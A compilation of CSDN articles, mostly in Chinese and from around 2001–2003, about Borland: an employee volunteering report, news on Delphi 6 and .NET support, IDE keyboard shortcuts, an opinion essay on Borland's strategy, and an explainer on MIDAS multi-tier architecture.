你可以想象，在Borland我们都是建造优秀软件的。但我们还有许多各种各样的才能，而不仅仅是软件技能。我们的一些员工喜好运动，参加俱乐部，信犹太教做礼拜，在学校中志愿工作等等。有时，Borland捐赠资金给当地的慈善机构。我们也捐赠出我们最宝贵的东西—时间。

九月下旬，我们的五十多名员工帮助博爱聚居地工作，以在加州的红杉市建造6所可以有多个家庭居住的房屋。我们有一些人早上五点就起床了以驱车赶到建筑工地。我们从Scotts Valley 出发，在17号公路上驱车2小时后， 到达硅谷。两个先前的交通事故为本来就繁忙的交通增加了一些拥挤。

简报

迅速地喝了一杯咖啡之后，我们听了组织者的安全简报。然后，我们按照经验水平被分成不同的工作小组。我们的一些员工甚至知道怎样钉钉子。我没有被分到那个组。

我们是在为谁而工作

工作成就是博爱聚居地的Raise the Roof 2000活动的一部分。真正的工作小组包括建筑工人和AmeriCorps的志愿者。小组也包括来自几个赞助公司的员工，包括Borland，Cisco，Intel和其他公司。每一家公司或组织，赞助一个最终将搬进去的家庭。

该聚居点，位于红杉市3426-3498 Rolison Road 最后将由多个房屋组成，每个房屋可居住3户人家。这周，有5个不同的Borland小组志愿工作。我所在的小组是星期四全天组的一部分。一整天都有云层覆盖，帮助我们免于太阳的照晒。

谢天谢地--我们的工作都得到她的监督

Jennifer（戴着黄帽子的那个）是我们的协调人。她告诉我们做什么，到哪里去，如何找到材料和工具以及任何别的相关事情。在工作的场所，彩色帽子有助于标出真正重要的人物。

我和一个叫Dave的真正的承建者分在一组。我们负责安装窗框上的防水板。我不知道防水板实际上是什么，直到把它从材料箱中拿出来时才明白。通过几个窗子的安装后，我学会了如何切割和如何为每一个窗户的防水板分层。

Made in Borland

其他Borland的员工正在往墙上贴防潮墙纸。当墙纸和防水板安装完后，就该安装窗子了。我们和完成这项工作的小组的提醒人一起确认安装确实完成了。

Dale Fuller，我们的总裁兼首席行政长官，在那里帮助其中一所房屋的工作。他还带来了我们的Made in Borland 粘贴胶带纸。

我们需要工具，大量的工具

当一些人拖运木材，一些人贴墙纸，一些人捡拾工具和供应品时，我们都非常羡慕真正激动人心的工作――使用强劲的工具。在你能够干那些开心的事之前，你需要被检验合格然后得到一个性感的绿色手镯。我努力向人们解释我是一个Delphi，C++Builder和Jbuilder的专家，因此我应该得到一个绿色手镯。他们一齐看着我，向我指出将要被放回工具室的工具堆放的方向。

团队努力

在这一天结束时，得意的星期三工作小组摆起了姿势来一张最后的合影。Wes（戴着蓝帽子的那个）是一个AmeriCorps志愿者，他帮助了我们一整天。他的幽默和热情极富感染力。

全部的Borland博爱小组成员包括： Kathy, Brenton, Janet, Cid, Bill D, Michael, Spencer, Mike O, Bill W, Sandy, Isabel, Laura, Roger, Steve, Ken, Debbie, John H, Jimmy, Penny, Dave, Lonny, Rita W, Scott, Garth, Rebecca, Sean, Mike C, Mike K, Cathy, John S, Genelle, Susan, Gopal, Doug, Mark, Anne, David I, Rob, Rita L, Jeff, Ioana, Steve T, Rosemary, Raul, Richard, Jody, Bill C, Matt, Kari, Cyndi, Emeli, Shobana, Hwang, 和 Dale。

你也能帮助！

这是多么壮观的一天。我希望我还能回来并在其它房屋的工作上花上几天。我向整个Borland社群热情推荐这个活动。 博爱聚居地（Habitat for Humanity）的组织遍布全世界。走出去，加入志愿者的行列吧。你将获得乐趣，在野外的经历并且帮助一个家庭。

David Intersimone
Vice President, Developer Relations
Borland
dintersimone@borland.com

—— www.DelphiDevelopers.com

(译注：作者是第二张照片中的最右者)

相关报道： 技术需要创新—与Delphi创始人尖锋对话


CSDN_文档中心_Borland enters Web services fray

Borland enters Web services fray

By Tom Sullivan
May 7, 2001 1:01 am PT
New tools for Web services

In addition to tools that platform vendors are providing, developers soon will have third-party options from traditional development packages.

Borland: Delphi 6.0

WebGain: Application Composer

Rational: DevelopmentStudio

Sources: Borland, WebGain, Rational
WHEN BORLAND ANNOUNCES the latest incarnation of its Delphi RAD (rapid application development) environment this week, the company will focus on the toolkit's tighter integration with its Kylix Linux tools and on the product's cross-platform interoperability. But Delphi's more important enhancements clearly are its support for Web services standards.

Delphi 6.0 will feature compiler-level support for SOAP (Simple Object Access Protocol) and WSDL (Web Services Description Language). That means programmers will be able to Web-enable their applications without writing extra code, according to Michael Swindell, director of product management at Borland, in Scotts Valley, Calif.

"Delphi programmers don't have to do anything differently; they just select to expose the code from a menu," Swindell said. The software itself adds the SOAP and WSDL functionality.

Also new to Delphi 6.0 are BizSnap, a Web-services platform for building and integrating components; WebSnap, a Web application design tool; and DataSnap, a tool for creating Web-enabled database middleware.

Borland is not the only tools vendor looking to help developers build Web services. WebGain, in Santa Clara, Calif., is also equipping its toolbox for Web services, and is componentizing the development process in preparation for Web services, according to CTO Ted Farrell.

Analysts expect other tools vendors, such as Merant and Rational, to release products designed to help developers build Web services.

All the major Web services vendors, including Microsoft, IBM, Sun Microsystems, and Oracle, have tools in various stages of development as well.

"We're at the point right now where people are starting to build Web services," said Rikki Kirzner, an analyst at Framingham, Mass.-based IDC. "They're not really building mission-critical apps, but they are making things such as e-business applications that use the same functions over and over."

One such customer, Hewitt Associates, a Lincolnshire, Ill.-based management consulting firm specializing in human resource solutions, is using IBM's WebSphere application server and the WebSphere suite of tools to move toward Web services.

Building on its existing mainframe environment, Tim Helgenberg, CTO of applications at Hewitt, and his team are using SOAP to make its data accessible from any interface. Currently, clients can access the systems via Hewitt's proprietary CICS interface, a mainframe query system.

"We're trying to provide a more open, standards-based means to get at our services, so we don't put any requirements on the client," Helgenberg said.

Adding value to the interface's openness, Hewitt is also enabling customers to receive advice -- without having to leave Hewitt's site -- from a third-party modeling tool that looks at a customer's data and recommends investment action for 401k plans.

IDC's Kirzner said that the tools will evolve to keep pace with other Web services technologies, including platforms and products such as Microsoft's forthcoming HailStorm.

"The tools don't make building [Web services] really easy yet, but over time they'll make it relatively easy," Kirzner said.


CSDN_文档中心_Borland IDE 常用热键简介 v0.1

Borland IDE 常用热键简介 v0.1 :)
Borland的Delphi/BCB系列产品有一个非常强大的IDE，知道并且用好其中的热键能够在编程中为自己省下很多功夫一下:)
具体的详细说明到帮助里面查 keyboard shortcuts

0. Ctrl + Spacebar and Shift+Ctrl+Spacebar
敲入一个类或者结构名如"TObject."然后Ctrl+Spacebar, IDE自动列出所有可能的选项，此乃自动完成功能
敲入一个函数如"func("然后Shift+Ctrl+Spacebar，自动提示函数的参数信息，注意：这个热键与中文输入法切换冲突，强烈建议常用Delphi/BCB者把切换中文热键改掉（偶用的是Shift+Ctrl+Alt+SpaceBar），然后装一个诸如紫光等支持Shift键切换中英状态的输入法，就一切OK :)
1. Ctrl + Shift + U(un-indents) or Ctrl + Shift + I(indents)
将选定的区块左移(U)或右移(I)一个Tab，对程序排版非常有帮助的热键。类似于VC中的Tab or Shift + Tab
2. Alt + [ or Alt + ]
跳转到匹配当前的括号的位置，比如一段程序void __fastcall TfrmMain::FormCreate(TObject *Sender)
{
InitGuideTree();
}
如果将光标停在一个"{"字符上，按Alt + [或者Alt + ]就可以切换到另外一个 }上去，这个热键在一大堆(((...)))把你弄混的时候很有用，呵呵
3. Ctrl + E
增量搜索功能，按下热键后，编辑器状态条上出现Searching for:字样，输入需要搜索的字符，编辑器会自动定位到最近的匹配位置还可以用backspace回退的说
4. Alt + [Keypad digits]
可以在IDE中输入非标准字符，打开小键盘的NumLock灯，然后直接按住Alt，敲入ASCII码即可，如Alt + 137输入‰字符，不过因为在中文环境下的关系，很多字符显示是个?，必须使用特定的字体
5. Ctrl + Enter or Ctrl + Mouse Left Button
快速打开指定文件。当光标停在一个字符串上时，按Ctrl+Enter则IDE在其搜索路径里面寻找此字符串同名文件，如果找到立即打开在打开Delphi unit和BCB header文件时非常有用。按住Ctrl然后鼠标移动到一个字上时，会出现类似超链接的显示。单击之会自动跳转到此变量或函数定义的位置，调试代码时超方便比什么ClassExplorer有用多了，呵呵
6. Ctrl + Up or Ctrl + Down
Ctrl按住不动，可以用上下键浏览代码，光标不会跟随但是如果超过一页，光标就停留在当前页最上/下一行浏览附近代码时非常有用
7. Ctrl + Left or Ctrl + Right
以一个字为单位移动光标
8. Ctrl + backspace
删除当前的一个字，先用Ctrl + Right切换到需要删除的字末尾，然后删除之，很方便的说
9. Ctrl + Shift + G
生成一个GUID，写COM程序时非常有用，不象VC还要用什么GuidGen 真是麻烦，另外做头文件标记时也有用。BCB生成的头文件一般以这样的形式开始，会出现命名处突的情况，
//--------------------------------------------------------------------------
-
#ifndef Unit1H
#define Unit1H
//--------------------------------------------------------------------------
-
这方面VC想得比较周期
#if !defined(AFX_DO_H__AAA09E93_0482_4525_BA98_11ABF0CCFFDF__INCLUDED_)
#define AFX_DO_H__AAA09E93_0482_4525_BA98_11ABF0CCFFDF__INCLUDED_
于是可以用一个GUID手工加在BCB生成的头文件开始，如
//--------------------------------------------------------------------------
-
#ifndef TypedListH_0CBFE2E8_E7C5_4D88_9844_1F177F4B00E4
#define TypedListH_0CBFE2E8_E7C5_4D88_9844_1F177F4B00E4
//--------------------------------------------------------------------------
-
10. Alt + Shift + Arrow
按住Alt + Shift + 然后用方向键可以选择一个矩形区域进行操作，在源代码格式排版时有时非常有用
11. Ctrl + Shift + Number or Ctrl + Number
Ctrl + Shift 加一个数字键可以定义一个书签，然后用Ctrl+数字键跳转到此书签，修改调试代码时非常方便
12. 设计界面中 Ctrl + Arrow
设计时用Ctrl + 方向键可以按象素级微调控件位置
13. Ctrl + j
代码模板功能，比如你输入classc然后Ctrl+j就会出现
class T : public T
class T : public T
{
private:
protected:
public:
__fastcall T();
__fastcall ~T();
__published:
};
想偷懒的人自己看看Tools/Editor Properties/Code Insight/Code templat
es 里面的模板列表好了，还可以加入自己的模板。不过偶比较喜欢用ClassExplorerPro 可以自动生成需要的所有东东的说，呵呵
14. Alt + 0
Windows List窗口，列出当前所有的打开的窗口，切换非常方便

15. Alt + Mouse： 可以竖向选取


CSDN_文档中心_Borland 公布支持 Microsoft .NET平台产品策略

Borland 公布支持 Microsoft .NET平台产品策略

未来Delphi 和C++Builder 将支持Microsoft.NET平台

Borland 于近日正式宣布支持 Microsoft .NET 平台，Borland Delphi 和 C++Builder 未来版本将具备支持Microsoft .NET Framework 的功能，包含支持 ASP .NET，并可通过 XML Web Services 与 Microsoft .NET 相互集成。Borland 计划于2002 年下旬推出支持 .NET 平台、并针对 Intel 硬件架构最优化的开发工具产品。Borland 未来 .NET 平台相关产品的更多信息，可参阅 Borland 公司网站 http://www.borland.com/net/。

Borland 副总裁兼 RAD 解决方案总经理 Simon Thornhill 表示：“就 Web Services 技术而言，企业会认识到 .NET 是一个强大而稳固的平台，Borland 相信 .NET 平台会因此而迅速获得成功。Borland 将全力支持 .NET 平台，为开发者提供一个快速、高效、可运用现有技巧、保障原有IT投资的开发工具，帮助用户从 .NET 平台获得利益。我们的用户请放心，Borland 承诺将提供开发人员在 .NET 平台上所需的各项功能、可安全执行的程序代码、以及可与 .NET 平台相集成的 Web Services 技术。”

Borland 计划未来 RAD 产品 Delphi 与 C++Builder 将可直接支持 Microsoft Intermediate Language (MSIL)，用户过去所投资的 RAD 技巧或代码能够快速用于建构支持 Microsoft .NET Framework 的应用程序中。Borland 全系列开发工具产品Delphi、C++Builder、Kylix 以及 JBuilder 将藉由 Web Services 将 Microsoft .NE T 平台、Microsoft Windows 平台、Java 平台以及 Linux 平台集成在一起。

Microsoft 资深副总裁 Eric Rudder 表示：“Microsoft 对于 Borland 明确承诺支持 .NET 平台感到兴奋，Borland 表示 Delphi 与 C++Builder 将进入 Microsoft .NET 平台开发工具市场，这两个开发工具产品将大大提高并帮助我们共同的客户群。”


CSDN_文档中心_Borland 关注Java和.NET之间的裂口

Borland 关注Java和。NET之间的裂口Borland的CEO比较含糊的暗示他们公司将提供Java和。NET之间联系所缺少的部分。Borland真的能弥补Microsoft和Sun Microsystems之间留下的空白吗？ 　　（2001年8月8日）-如果人们把Sun Microsystems和Microsoft假想为连环漫画书中的两大粗暴的恶棍，他们都各自顽固的用自己的特有武器争夺世界霸主地位，而Borland的CEO，Dale L. Fuller，忙着自己的打算。 　　至少上几个星期情形是这么样的， Fuller在一个投资者会议上暗示说Borland将提供开发者将Java和。NET相互转换所需的连接组织。Borland官员对此评论轻描淡写，说他们公司研究了交互编译Java和。NET代码的可能性但发现这样做面临很大的技术挑战。 　　8月2日，由Adams， Harkness &； Hill主持在Boston召开了一次投资银行家的金融研讨会，Fuller在他三十分钟的陈述报告的结尾部分做了有关评论。在会上，Fuller和公司的CFO， Fred Bal，对Borland的大体市场稳定性和以后的计划发表了讲话。在后面接着的提问与回答阶段，一位听众的提问引发Fuller就他所提及的Borland将提供Java和。NET之间的转换这一说法的答复。 　　"；。NET将是我们支持的平台之一，因为人们需要它，"； Fuller说。 　　Microsoft说他们不会支持Java，这对顾客来说是坏消息，但对我们来说是好消息。我们将来弥补这一缺陷，使得每个人都能在。NET上运用Java在Java领域中也存在着同一问题。我们也将把。NET用于Java中。这样我们的顾客能在随时的用Java开发并转换到。NET中，或者人们可以从。NET转换到另一个平台。Fuller没有详细说明Borland怎样及何时开始提供这种支持。在会上也没有再提出类似的问题。尽管如此，但是在星期三接受DevX电话采访时，Borland的软件解决方案的VP，Frank Slootman说他相信Fuller的话指明了公司将在网络服务方面的发展。 　　这就象今年初发布Delphi 6一样， Slootman说公司将继续重点开发使其更方便开发者 在RAD开发环境中编写网络服务。五月Delphi 6的发布加入了对SOAP和WSDL编译层次的支持，将网络服务当作本地IDE中的组件。这使得Delphi的开发者编写应用程序的时候同时也可以编写SOAP兼容的网络服务。Borland有关媒体发言人表示他们计划在近一周内发表关于他们在网络服务方面的下一步公告。 　　我们将把Java和。NET在网络服务中连接起来，我们觉得没有必要采用Java代码并为另一个平台而重新改写，Slootman说。 　　将各个平台联系在一起的研究已经开始，Slootman说，并且补充他们公司发现其中存在很难的技术问题。Slootman以Java对容器的依赖作为关键原因之一来说明他认为没有任何商业产品能交互编译。NET和Java代码。 这与Fuller最近的声明有很大的矛盾。是Fuller透露了研发部的新计划，还是他实际上在过于简化公司将要出炉的有关网络服务的新闻呢？为了开发者，我希望Borland正在努力创造它所策划的近期内实现的Java和。NET之间转换的奇迹。Java和。NET之间的交互编译必将给开发者带来所需的动力，方便和灵活性，并将专业的应用程序开发的注意力转向它本身的定位：用适当的语言开发合适的应用程序并将其运用到各个平台。 　　哪家公司能赛过Borland这一不使用众多用户选择的Java开发工具的公司并且努力取得象Microsoft的Visual J++那样的成功呢？ 当然政策上来说，这一举动对Borland来说具有一定的冒险性，因为它一直长时间的单纯使用Java.如果把Java转换到。NET， Borland或者其它公司将为Microsoft提供极其有价值的渠道把。NET反着转换到Java，而不需要支持Java开发者。如果你能轻易的将代码转换到IL，谁在Windows中会需要JVM呢？ 但作为单纯的商业行动，Borland当然会盈利：Java和。NET之间的差距在用资金弥补，任何人如果能在这一裂口上架起桥梁就能轻松的获得这笔利润。Halcyon Software公司已经用纯Java写了一个。NET框架的版本。我们期待着更多的创新。 　　Borland能行吗？


CSDN_文档中心_Borland 开发者大会BorCon2001 图片报道

BorCon2001 图片报道

Borland 开发者大会于7月21-25日在加州长堤市召开 此次大会具有重要意义：Borland刚刚推出 Kylix,Delphi 6,JBuilder 5，InterBase早已开放源码，Borland的股票也一路上扬；本次大会赞助商有：IBM,Microsoft,Sun,SAP,Nokia,Motorola,Ericsson等业界巨子。同时Borland在大会上宣布了可免费下载的Kylix 开放版。
  • 长堤市风光
  • 人物
  • 公园
  • 夜生活
  • 事件
  • 闭幕式

www.delphidevelopers.com


CSDN_文档中心_BORLAND 在“迫害”程序员？

program BORLAND 在“迫害”程序员？;
{by 轻松虎}

Initialization 引子

今天在大富翁论坛上有人说被 Borland 的开发工具“迫害”很久，听到这种说法，先是一惊？难道 Borland 给我们的 RAD IDE 还不够好吗？还不够高效吗？还是跟不上潮流？不是Delphi 已经支持 .NET开发了吗？看完以后知道，原来是说 Delphi 把程序员变懒了,VCL 成了上进的阻碍，Delphi 只有“控件”没有“设计”。。。一开始很不服气，想来想去，就想不妨换个角度来考虑这个问题，我们希望 BORLAND 为我们提供什么样的开发工具？ RAD经过这么多年还有那么神奇吗，现代开发工具和OOP语言对我们的开发有多大帮助？BORLAND 真的了解现在的程序员最需要什么吗？

Unit1.“迫害”元凶？

是 Anders，没错，先害完我们还要去微软害C++/VB的程序员。。
人家年纪轻轻，十来年功夫，创出两套伟大的凶器（Delphi 和 C#）。。。
什么时候我们也能出个“迫害”别人的家伙...Dream Dream.. not so long a Dream。
这个人不会就是正在看这篇文章的您吧？（*）

Unit2. 被“迫害”者？

做了十来年的程序员，原谅我倚老卖老，我觉得，不会写控件的人根本称不上 Delphi 程序员。
就象下围棋知道数气提子还不等于成了棋手
开发工具也是人做出来的。。。
新上手的人一开始做出东西会很惊喜，有成就感，觉得开发工具很了不起
崇拜过了头甚至有点迷信，可是过了一段时间发现卡住了，开发工具好像也没有那么神奇了
甚至还有bug，然后就大喊大叫，甚至骂娘
往往开始夸的最厉害的人往往也是将来骂的最凶的人
平生不喜欢大悲大喜的人,只有一开始不大喜的人，才会不大悲
其实道理很简单，全世界开发者那么多，这个问题是我头一个发现吗？
还有更好的解决方法吗？
OK,太好了，我终于有机会为我所喜爱的开发工具做点贡献了。。。
节约后人的时间(all over the world)~~不亦悦乎，发封邮件到 Borland 的 Buglist
喊什么“上当”，抱怨什么“迫害”，自己不过发现个 Bug，
Delphi的 Source 目录下有多少.PAS？ 23兆，500多个文件，数十万行代码。。。
算什么啊？听说过 KOL 吗？（**）学学人家那点精神就行了
我用过的开发工具不下10来种，但是用的最多的还是 delphi，
没什么别的原因，就是喜欢，觉得自己的成果很容易重用并与别人分享
也能分享到别人的成果。。。
真的很可惜 Anders 的离开。。。

Unit3. 我觉得真正的“迫害”

我觉得 Borland 不是没犯过错误，而且很严重，但我认为不是上面说的那么浅薄
想当年，刚学会上网的时候，是97年，立马第一想到的是先冲到 Borland 的网站，
正好碰到一个程序员联署要求 Borland 开发 Borland Pascal 8 的活动，大致上是希望支持 32位保护模式的开发，咱也进去签了一把~~总共征集了上千个请求，结果很失望， Borland拒绝了，理由是 Windows95出来了， Delphi 也出了， DOS要进垃圾堆了，结果导致无数程序员转向晦涩的 WatcomC++...（虽然后来出来 TMT Pascal/Free Pascal~晚矣 ），从那时起就对 Borland 感到有点点不可理解。
我觉得 Borland 开发工具有点结构不匀称，现在只能说更加明显了：
上层工作做的很多很细，尤其以 Delphi IDE/VCL 为代表，方方面面可以说发挥了 RAD 精髓的极致，TForm的属性越来越多，空空的一个Project1也要350K.
这样过多过细的 IDE/VCL 为 Delphi 的移植背上了包袱（据说Kylix 开发时，编译器开发只用了很短的时间，IDE 却非常漫长。。。）
窃以为， IDE/VCL 固然是 RAD 的精髓，但是 Object Pascal 的威力必须依赖它们才发挥的出来吗？还是说 Object Pascal 编译器的移植很难？
其实大学里学过《编译原理》的每一个学生，几乎都做过类Pascal编译器，可能做不出 Object 语法，但这落在 Borland 手里肯定是小菜一叠。。。
上层技术和编译技术的关系就好象做乘法 M * N，当其中 M 已经很大时，N只要增加一点点就能使结果迅速增大，而一味追求 M 变大已经很困难（Delphi 7 的 RAD IDE 还能带给你多少新奇？）。

Unit4. Delphi 的“包袱”

......During the "Meet the Delphi Team" the question of WinCE was brought up. Ben Riga asked for a show of hands of those present aboout interest in seeing Delphi for WinCE. Almost every hand went up. I think they (Inprise) were suprised. （***）

著名的 Delphi 电子杂志 undu 上这么一个小故事：
大意：...在“与 Delphi Team 见面”活动中，关于 WinCE 的问题被提了出来。 Ben Riga 则要求那些对Delphi for WinCE 话题有兴趣的代表举一下手。几乎所有的手举了起来，我认为他们(Inprise/Borland的人)当时很惊讶。...

干嘛一定要 RAD, 说不定还有比 VCL 更好的解决方案呢？
Object Pascal 的编译器性能/效率上虽然不输任何 C/C++ ，
可是我们却看到 C/C++语言横行天下
可是Object Pascal 底层编译器单一，仅限于 x86平台，导致学 C 的可以走遍天下，而学 Pascal 的人毕业了却乏用武之地
Borland 公司在 Pascal 上的投入不可谓少，从每次 Delphi/CBuilder 版本升级就可以看出
Borland 是优先考虑 Object Pascal的，但是长期过多集中在上层建筑，RAD越做越精，也越来越庞大。。。
这时候如果在编译器上多多创新，一定会事半功倍
凭着 Borland 的经验，在各种平台上各做Object Pascal 编译器应该比别人快多了
现在 Pocket PC 这么火,但各CPU厂商跟着微软其实很窝火~~
如果 Borland 能调整战略会处于非常有利的商业地位。。。
甚至连 HP-Compaq iPaq （Pocket PC最大的合作伙伴）受制于微软感到很不爽，拼命出钱成立了基金会开发 POCKET LINUX （****），生怕哪天微软翻脸了...
而一大群 Delphi 程序员只能在旁边观望，一大批控件群只能在一个平台里发展。
虽然现在有了 Kylix，但是还是没有脱开 x86，我的希望是 Borland 彻彻底底的把底层编译器技术再来一次革命，不拘泥于 x86 指令的优化，其实接触各个 CPU 多了，这种工作也是大同小异，事半功倍的。

Unit5. 对DOT NET 说DO NOT ？

我的意思不是说要拒绝.NET，而是仅仅寄生在 .NET 上还不够，就象我当初也不看好 Java 一样，现在也是如此：
总觉得是隔靴搔痒~~~~而且免不了越搔越痒受制于靴。。。其实跨平台的问题早被人为夸大了，不要追求通吃天下！为什么人们对已有的跨平台技术熟视无睹，C代码是，TCP/IP也是，当然如果加上Object Pascal 就更好了。

只有原生的执行代码才是完美的！

我说这话可能有些人不服气~~所以说微软才是最厉害的，它鼓动软件人员都去写.NET应用程序，而原生代码部分，也就是把多种 CPU 硬件结合编译和代码优化的工作揽到自己身上，表面上累一点，可是它取得了最佳的商业地位（实际上这方面有技术很多可重用资源和人才储备），它是软件与硬件技术结合点，等于微软抓住了IT工业的两大命根（操作系统和编译器），而微软则处于隐蔽的不可替代地位, 自然其商业利益不可言喻。最终导致硬件厂商和其他软件厂商拼命竞争，任何应用软件商甚至连CPU 厂商都无法撼动微软。
一台电脑付给微软20美元的OEM 费用不高，可是如果每一台电脑，每一部手机，每一个智能家电..都付给微软20美元，那是怎样一个数字。。。(甚至每一个商铺终端，每一辆交通工具，每一个马桶里。。。微软无处不在：）)

话题越说越大，收回来。。。
操作系统要撼动微软很难，但编译器技术绝对有可能。可是现在的 WIN CE/POCKET PC 上编译器技术也将被微软垄断，如果其他第三方编译器寄生在 .NET 之上，这才是最令人悲哀。
finalization 结论
我的结论：

Borland要抛开包袱，躲开漩涡，轻装前进。

包袱是 RAD IDE/ VCL （没错！），漩涡是.NET（有人会说我疯了）

如果 Borland 还没意识到开发多平台代码优化编译器技术的重要性的话，
那我只能说明天的世界属于。。。抛开这个重大使命不谈，BORLAND 自己发展的空间在哪？开发者也需要更加多能更加高效的工具，还要走遍天下（不是通吃天下）。
很长时间没写文章了，谢谢你看到这里，你可以把上面的文字看成是工作后的GGYY的闲扯，现实如此，自己又能如何呢？可是如果能多思考一点点，作为一个技术人，一个程序员，不要失去独立思考的能力吧？甚至想想，啥时候轮到咱们自己动手改造改造这个世界？如同 The Matrix 黑客帝国里那样，生下来一切都是被别人安排的才不爽，选择之~~~~~~~红色药丸和蓝色药丸，吃完一粒睡觉去醒来再看看~~

end.

（*）拍读者的MP总是没错的。哈哈
（**）KOL Key Object Library http://bonanzas.rinet.ru
（***）Unofficial Newsletter of Delphi Users http://www.undu.com/Articles/981012a.html
（****）iPAQ Linux Home http://www.compaq.com/products/software/linux/iPAQ.html
p.s. Borland Pascal 8 申请活动原先也有网页，现在已经 404 not found :-) 该换 Delphi For CE 了：）


CSDN_文档中心_Borland的MIDAS技术

Borland的MIDAS技术
Borland 自 从 推 出 了Delphi 之 后， 深 受 程 序 设 计 人 员 的 青 睐。Delphi 的 每 一 个 新 版 本 都 给 用 户 提 供 了 更 新、 更 好 的 功 能。 例 如，Delphi 1.0 版 本 给 用 户 提 供 了 一 种 全 新 的 可 视 化 编 程 环 境， 使 用 户 能 快 速 开 发Windows3.1 的 应 用 程 序。Delphi 2.0 中 增 加 了 数 据 模 块 (Data Module) 等 多 种 高 效 的 数 据 重 用 功 能。 现 在 第 三 代 版 本Delphi 3 — — 多 层 结 构 的32 位 快 速 开 发 工 具 又 给 开 发 人 员 带 来 了 全 新 的 多 层 结 构 概 念。

---- 早 在1980 年 第 一 个 数 据 库 管 理 系 统 出 现 时， 数 据 库 的 世 纪 就 已 悄 然 开 始。 那 时 的 观 念 是 由 应 用 程 序 控 制 关 系 型 数 据 库， 这 种 数 据 处 理 的 模 式 一 般 称 为 单 层 结 构（1 －Tier）。 由 于 这 种 结 构 的 数 据 库 程 序 占 用 计 算 机 资 源 较 多， 于 是 在80 年 代 中 期， 数 据 库 应 用 开 始 转 向 C/S 结 构， 也 就 是 所 谓 的 两 层 结 构（2 －Tier）。 这 种 结 构 在 近 十 年 内 不 但 得 到 了 广 泛 的 运 用， 而 且 相 当 成 功。 然 而， 在 两 层C/S 结 构 成 功 的 背 后 却 逐 渐 暴 露 出 其 构 架 上 的 缺 陷。 其 中 最 明 显 的 问 题 表 现 在 应 用 程 序 的 伸 缩 性 和 维 护 方 面。 例 如， 一 个 跨 国 企 业 如 何 把 数 据 库 管 理 系 统 及 其 应 用 程 序 分 散 到 十 分 缓 慢 的 网 络 上， 如 何 控 制 数 据 的 统 一 性 和 完 整 性； 一 旦 应 用 程 序 有 任 何 改 动， 维 护 人 员 就 必 须 修 改 每 一 个 客 户 端 上 的 应 用。

---- 新 一 代 数 据 库 管 理 系 统 在 传 统 的 C/S 结 构 中， 增 加 了 应 用 程 序 服 务 器 — — 这 种 新 的 结 构 就 是 所 谓 的n －Tier 或Multi －Tier。 应 用 程 序 服 务 器 包 括 了 统 一 的 界 面、 业 务 规 则 的 制 定 和 数 据 处 理 逻 辑 的 规 定 等 等。 多 层 应 用 服 务 技 术 允 许 分 割 应 用 程 序， 本 地 计 算 机 上 无 须 安 装 一 整 套 数 据 库 工 具， 就 可 以 在 另 一 台 机 器 上 存 取 数 据。 同 时 它 允 许 对 业 务 规 则 和 进 程 进 行 集 中 管 理， 并 在 整 个 网 络 上 分 发、 实 现 进 程 负 载 的 动 态 调 节。

---- 众 所 周 知， 开 发 服 务 器 级 的 应 用 程 序 要 比 开 发 单 纯 应 用 级 的 程 序 困 难 得 多， 有 很 多 系 统 服 务 需 要 考 虑。 如 果 没 有 一 种 好 的 工 具， 对 于 大 多 数 程 序 员 来 说， 开 发 一 个 复 杂 的 多 层 结 构 应 用 只 能 是 一 种 理 想。 为 了 使 这 种 理 想 方 便 地 实 现，Borland 公 司 推 出 了 开 发 多 层 结 构 所 需 的 技 术 和 工 具 集 — —MIDAS。

MIDAS — — 多 层 分 布 式 应 用 程 序 服 务 器---
    - 对MIDAS 这 个 名 字 一 般 有 两 种 理 解。MIDAS 是Multi －tier Distributed Application Services Suite（ 多 层 分 布 式 应 用 程 序 服 务 包） 的 缩 写， 这 也 诠 释 了MIDAS 技 术 的 实 质。 也 许 因 为 这 个 本 义 太 长， 很 多 人 更 愿 意 把 它 理 解 成Multi －tier Made Easy， 这 也 是MIDAS 的 作 用。 多 层 计 算（Multi －tiered computing） 是 业 界 对 此 类 技 术 通 用 的 术 语， 而Multi －tier 是Borland 公 司 采 用 的 技 术 术 语。Borland 典 型 的 三 层 结 构 如 下： 第 一 层 是 数 据 库 服 务 器， 第 二 层 是 应 用 服 务 器， 第 三 层 是 瘦 客 户 机。

---- 数 据 库 服 务 器 是 诸 如InterBase、Oracle、Sybase、MS SQL Server 等 数 据 库， 应 用 服 务 器 和 瘦 客 户 机 由Delphi 建 立。 大 多 数 情 况 下， 数 据 库 访 问 软 件（ 例 如BDE, SQL ＊NET 等 等） 与 应 用 服 务 器 运 行 在 同 一 台 机 器 上。

---- 应 用 服 务 器 主 要 基 于Borland 的 分 布 式 数 据 技 术， 至 少 包 括 两 方 面 的 内 容：

---- 1. 内 置 在Delphi 组 件 中;

---- 2. OLEnterprise 产 品 对 分 布 式 计 算 和 负 载 平 衡 提 供 超 强 的 支 持。

---- 内 置 在Delphi 组 件 中 使 你 能 很 容 易 地 使 用DCOM、Socket 或 OLEnterprise 连 接 两 台 机 器， 并 在 两 者 之 间 来 回 传 输 数 据 集。OLEnterprise 工 具 提 供DCOM 的 选 择 方 法 简 化 了 连 接 两 台 机 器 的 任 务， 尤 其 是 对 两 台 运 行Windows 95 的 机 器 更 是 如 此。OLEnterprise 使 用 户 能 访 问Object Broker， 它 允 许 在 几 个 服 务 器 中 随 机 分 配 任 务 负 载。 此 外， 还 可 以 在 几 台 机 器 上 装 载 服 务 器 工 具， 每 次 实 行 连 接 时，Broker 会 选 择 其 中 一 台 机 器。 例 如， 如 果 你 有100 个 客 户 端 和3 台 服 务 器，Object Broker 会 随 机 分 配 负 载 给3 台 服 务 器， 每 台 服 务 器 大 约 有33 个 客 户 端。Broker 会 在 服 务 器 异 常 关 闭 时 提 供 支 持。 编 写 几 行 代 码 可 以 提 供 服 务 器 错 误 处 理， 把 客 户 端 从 出 现 问 题 的 服 务 器 切 换 到 另 一 台 正 常 运 行 的 服 务 器。 另 外Broker 不 会 试 图 把 一 个 新 的 客 户 端 连 接 到 已 经 关 闭 的 服 务 器 上， 相 反 它 会 自 动 连 接 到 其 中 一 台 正 在 运 行 的 服 务 器 上。

